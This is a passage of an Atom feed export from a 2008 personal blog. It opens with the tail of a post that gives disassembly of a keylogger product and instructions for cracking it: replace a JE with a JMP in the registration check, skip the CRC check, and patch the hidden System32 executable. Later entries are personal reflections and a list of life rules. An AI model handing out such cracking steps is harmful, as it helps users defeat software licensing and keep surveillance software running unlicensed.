65&lt;br /&gt;00401749  .  6A 00                      PUSH 0                             ; /pModule = NULL&lt;br /&gt;0040174B  .  FF15 ECB04100              CALL NEAR DWORD PTR DS:[&lt;&amp;amp;KERNEL32&gt;; \GetModuleHandleA&lt;br /&gt;00401751  .  50                         PUSH EAX                           ; hInst = NULL&lt;br /&gt;00401752  .  FF15 F4B14100              CALL NEAR DWORD PTR DS:[&lt;&amp;amp;USER32.D&gt;; \DialogBoxParamA&lt;br /&gt;00401758  .  8945 FC                    MOV [LOCAL.1],EAX&lt;br /&gt;0040175B  &gt;  837D FC FF                 CMP [LOCAL.1],-1&lt;br /&gt;&lt;br /&gt;As you can clearly see…the code which is highlighted in Red, is the part that checks if the application is registered or not. Just modify the JE savezl_e.00401783  to&lt;br /&gt;Jmp savezl_e.00401783 and you’ll see that the application runs Merrily for as long as you want and even all the Nags are eliminated!Just a small patch to kill such a beautiful registration routine. Okay, now the general method to crack it would be to install the Keylogger on your system. Now a normal Patch wont work in this case because we cannot predict the Random name generated by the SETUP. So, we’ll make a generic patcher that’ll patch the code JE savezl_e.00401783  to Jmp savezl_e.00401783 and wont check the CRC of the executable because it was observed to fail when it checks for that .Oh yes, the component which needs to be patched is very easy to identify too…just go to your “Root\windows\System32\” folder and search for “*l.exe” that is, all executable files with the last character as “l” and this particular executable has a Transparent Icon. You’ll also find that its running in your computer’s memory because its loaded during startup, so simply use the EndTask option of Task Manager, patch the executable and restart your computer. You’ll see that all nags are gone and also the time limit is gone. You can try changing the system time and still the Keylogger works perfectly fine.&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;&lt;strong&gt;&lt;br /&gt;(c) Aodrulez.&lt;/strong&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-5663050041845795034?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/5663050041845795034/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=5663050041845795034' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/5663050041845795034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/5663050041845795034'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2008/05/nice-protection-scheme.html' title='A Nice Protection Scheme.'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-1229717865040386310</id><published>2008-05-15T22:37:00.000-07:00</published><updated>2008-05-15T23:01:07.084-07:00</updated><title type='text'>"V" For Vendetta!</title><content type='html'>Did sumthin i never believed i could even in my wildest Dreams! Mask-man i was.... talkin in disguise....that strongly reminds me of a movie &lt;span style="color:#ff0000;"&gt;"V" for Vendetta&lt;/span&gt;. Yup...I felt wat it felt to be "V".&lt;br /&gt;But there was a difference....."V" fought to change the Governments' Attitude...to do people good.... I was just being selfish I guess. Dunno...how many more times will i wear the same Mask...cuz its a temptation...wish i won't ever do that again.Felt her in a good mood fer the first time in 4-5 years....Talked like we never knew each-other.... Didnt have to explain my past mistakes... felt like i did the biggest mistake of my life....screwing-up our relationship 4 yrs back.&lt;br /&gt;But Great Men say...."He who never made a mistake, never made a discovery." .I did...n i made a discovery or two....the problem is the contradicting nature of the discoveries.Dunno which one to follow....Helpless?....nope....Hopeless...haha...yeah...thats the truth....the relationship is a hopeless one now....n i ain't doing the same mistakes again.Told her....not to look out fer my identity....not worth it....cuz grass alwayz looks greener on the other side....don't walk across n spoil the view. ...So...fer now....."V" in me is goin fer hibernation...until...she wakes him up.&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;"V" did what Aodrulez could'nt do.... n Thanks a ton fer that!&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-1229717865040386310?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/1229717865040386310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=1229717865040386310' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/1229717865040386310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/1229717865040386310'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2008/05/v-for-vendetta.html' title='&quot;V&quot; For Vendetta!'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-1983376675410324957</id><published>2008-02-18T23:25:00.000-08:00</published><updated>2008-02-19T00:04:31.047-08:00</updated><title type='text'>"I" ...is it just an Alphabet?</title><content type='html'>&lt;div align="left"&gt;Millions of people livin on this planet we call earth... yet...how many do we&lt;br /&gt;know by the name?..we r like frogs in a well ..but the question is...how big is&lt;br /&gt;this well??....we earthlings r in a sort of well too...attached to earth...bound by&lt;br /&gt;the laws of physics...cuz we know they r true...they are practical laws..they&lt;br /&gt;do Work!...and unfortunately...we havent yet found a frame in which they fail...&lt;br /&gt;So..we Believe and dont dare to question them anymore....sad... I feel like&lt;br /&gt;am tied... cuz of the thoughts of some Great people... but... what are human thoughts&lt;br /&gt;anyway??? who really cares about them apart from us earthlings??.. why do we&lt;br /&gt;seem to like the idea of being important in this Big-Bang soup...??..why do we&lt;br /&gt;even think??.. maybe cuz that is sumthin we were made to do..by years of evolution..&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;&lt;strong&gt;we think...... n so we are&lt;/strong&gt;!&lt;/span&gt;&lt;br /&gt;We often hear children wishin they could have wings &amp;amp; fly...how often do&lt;br /&gt;we hear the grown-ups say the same??... dats cuz we know we cant do it..on earth..&lt;br /&gt;due to the laws of nature...heck.. y?..... cant we even dream without being constrained&lt;br /&gt;by these laws??... I wanna have a better view of myself...from some another frame...&lt;br /&gt;were nobody is bound by any strings....where we dont feel like puppets who go back to&lt;br /&gt;the same box from where they came... I wanna Break-Free.....like get out of my own&lt;br /&gt;skin....and fly...at a speed which is a multiple of the speed of light...i wanna see my life..&lt;br /&gt;in slow motion...i wanna Rewind to the past n make a lot of rectifications..i wanna&lt;br /&gt;Fast-forward to future...and see whats in store fer me...i wanna be able to live&lt;br /&gt;my life my way.... &lt;strong&gt;&lt;span style="color:#ff0000;"&gt;I wanna Feel Like GOD!&lt;/span&gt;&lt;/strong&gt; ............. I do.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-1983376675410324957?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/1983376675410324957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=1983376675410324957' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/1983376675410324957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/1983376675410324957'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2008/02/i-is-it-just-alphabet.html' title='&quot;I&quot; ...is it just an Alphabet?'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-475223349663267088</id><published>2008-02-15T23:50:00.000-08:00</published><updated>2008-02-16T00:03:31.904-08:00</updated><title type='text'>My Rules!</title><content type='html'>1]Keep updating the Rules to suit situations and my mood.&lt;br /&gt;2]Never under-estimate anyone....not even a fly.&lt;br /&gt;3]Never change yourself to attract or impress anyone.&lt;br /&gt;4]Opinions are just that..."OPINIONS"....in the end...do what you&lt;br /&gt;  feel is right.&lt;br /&gt;5]Being Single is not sumthin to be ashamed of.&lt;br /&gt;6]Self-Respect is more important than anything else...never lose it.&lt;br /&gt;7]Be the Best in atleast one thing in Life.&lt;br /&gt;8]Give Respect..Take Respect.&lt;br /&gt;9]Never get into Fights...cuz it ruins your Image...but if&lt;br /&gt;  the Bad Guy insists..Break his Jaw.&lt;br /&gt;10]Live My Life...."My Way!!!"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-475223349663267088?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/475223349663267088/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=475223349663267088' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/475223349663267088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/475223349663267088'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2008/02/my-rules.html' title='My Rules!'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-6422246430024203918</id><published>2008-02-13T09:55:00.000-08:00</published><updated>2008-02-13T10:56:21.501-08:00</updated><title type='text'>Aodrulez: I've Arrived!</title><content type='html'>Sounds like a Hollywood Movie Script of the late 1980's....I endup doing all sorts of Blunders&lt;br /&gt;in my life...all through my childhood n teenage days...when i look back now...all I see is a Mr.Nobody, you know..the kind of life where u exist in silence..Dead-Silence in my case, was trying to be the good guy all life..living in some kind of a wonderland, lacking contact with the real world..drifting away from the worldly ways of Life..Screwed up the few relationships that I've ever had, big time..and thats when i realised...my life sucks! I felt like a creature in a cocoon..&lt;br /&gt;I desperately wanted to break free....n "&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;Live My Life, My Way!"...&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;            I knew that this was an Alien world to be in..with lots of un-tresspassed paths...n I wanted to get lost somewhere...and this seemed to be the perfect Time.I really needed to forget my past...forget my mistakes... forget my ex's... forget my back-stabbing friends..forget the very truth that I was alive till yet or that I merely existed...I wanted to start anew!&lt;br /&gt;I tried to be occupied all the time....in something or the other..tryin to learn new things..new skills...n what can i say....&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;I've come a long way&lt;/span&gt;&lt;/strong&gt;.&lt;br /&gt;          Feels better now...as  a human Being..as a Son...as a Friend...as a Brother...but still I have a long long way to go...and &lt;strong&gt;&lt;span style="color:#ff0000;"&gt;I aint givin-up..cuz I aint a quitter anymore&lt;/span&gt;&lt;span style="color:#ff0000;"&gt;!&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-6422246430024203918?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/6422246430024203918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=6422246430024203918' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/6422246430024203918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/6422246430024203918'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2008/02/aodrulez-ive-arrived.html' title='Aodrulez: I&apos;ve Arrived!'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry></feed>
